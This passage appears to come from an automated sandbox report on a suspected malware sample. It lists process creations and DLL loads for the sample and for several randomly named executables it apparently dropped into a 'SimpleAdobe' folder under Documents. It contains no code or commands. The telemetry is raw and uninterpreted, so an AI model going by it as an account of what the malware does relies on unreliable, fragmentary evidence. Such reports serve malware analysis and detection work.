Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe	Section loaded: apphelp.dll	Jump to behavior
